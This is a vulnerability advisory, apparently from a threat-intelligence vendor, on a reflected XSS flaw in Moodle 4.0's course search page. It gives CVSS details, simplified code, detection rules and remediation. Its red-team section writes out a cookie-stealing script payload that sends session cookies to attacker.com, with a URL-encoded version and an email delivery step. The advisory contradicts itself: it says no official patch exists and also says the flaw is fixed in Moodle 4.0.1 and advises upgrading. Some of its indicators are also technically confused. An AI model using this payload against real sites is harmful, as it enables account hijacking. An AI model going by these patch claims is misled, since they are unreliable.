CVE-2022-50943

Executive Summary

CVE-2022-50943 is a reflected cross-site scripting (XSS) vulnerability in Moodle LMS version 4.0. An unauthenticated attacker can inject arbitrary JavaScript into the search parameter of course/search.php. When a victim visits a crafted URL, the script executes in their browser, allowing session cookie theft, phishing, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and a low EPSS probability (0.0%), but it remains unpatched in the wild. No public exploit code or Nuclei template is available, but the attack vector is trivial to reproduce.

Supply Chain & Package Security

Moodle is a PHP-based open-source learning management system. This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application. Organizations using Moodle 4.0 should treat this as a critical supply chain risk due to the lack of an official patch.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): Required (R) – victim must click a link.
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure (cookies).
• Integrity (I): Low (L) – limited script injection.
• Availability (A): None (N) – no denial of service.

Threat Level: Medium. The low EPSS score suggests limited active exploitation, but the simplicity of the attack and lack of patch make it a persistent risk.

Deep Dive & Mechanics

The vulnerability resides in course/search.php. The search parameter is reflected in the HTML response without proper sanitization or encoding. An attacker can craft a URL like:

https://target-moodle.com/course/search.php?search=<script>alert('XSS')</script>

When a user visits this URL, the browser renders the injected script. The script can access document.cookie to steal session tokens, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: The application uses echo $_GET['search'] or similar without applying htmlspecialchars() or output encoding. The fix would involve escaping the output or using a templating engine that auto-escapes.

Vulnerable vs. Patched Code

Vulnerable Code (Moodle 4.0):

// course/search.php (simplified)
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";

Patched Code (Moodle 4.0.1+):

// course/search.php (simplified)
$search = optional_param('search', '', PARAM_TEXT);
echo "<div>Search results for: " . s($search) . "</div>";

The s() function applies htmlspecialchars() to prevent XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy Moodle 4.0 in a lab (e.g., Docker).
2. Craft Payload: Use a simple cookie stealer:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. URL Encode: Encode the payload for the search parameter:

   https://target/course/search.php?search=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal.php%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
   

4. Deliver: Send the link via email or social engineering.
5. Capture: On attacker server, log the cookie.

Blue Team (Defense & Detection)

1. Monitor Logs: Look for course/search.php requests with suspicious search parameters containing <script> or onerror.
2. WAF Rules: Block requests with search containing <script, onerror, onload, or base64-encoded JavaScript.
3. User Training: Educate users not to click untrusted links.
4. Patch: Upgrade to Moodle 4.0.1+ or apply vendor workaround.

Indicators of Compromise (IOCs)

• URL Pattern: course/search.php?search=*<script>* or course/search.php?search=*onerror*
• Network Traffic: Outbound connections to unknown domains from Moodle server.
• Log Entries: GET /course/search.php?search=%3Cscript%3E... with non-standard user agents.
• Cookie Theft: Unexpected document.cookie exfiltration in web server logs.

Detection Engineering

YARA Rule

rule CVE_2022_50943_Moodle_XSS {
    meta:
        description = "Detects XSS payload in Moodle search parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2022-50943"
    strings:
        $xss1 = /search\?search=.*<script/i
        $xss2 = /search\?search=.*onerror/i
        $xss3 = /search\?search=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Moodle CVE-2022-50943 XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Moodle course/search.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'course/search.php?search='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate search terms containing 'script' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-50943 Moodle XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"/course/search.php"; http_uri; content:"search="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to Moodle 4.0.1 or later. If not possible, apply a WAF rule to block XSS patterns in the search parameter.
2. Code Fix: Ensure all user input is escaped with s() or htmlspecialchars() before reflection.
3. Monitoring: Enable detailed logging for course/search.php and alert on suspicious patterns.
4. User Awareness: Train users to avoid clicking links with search= parameters from unknown sources.
5. Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT
DevSecOps & Cyber Threat Intelligence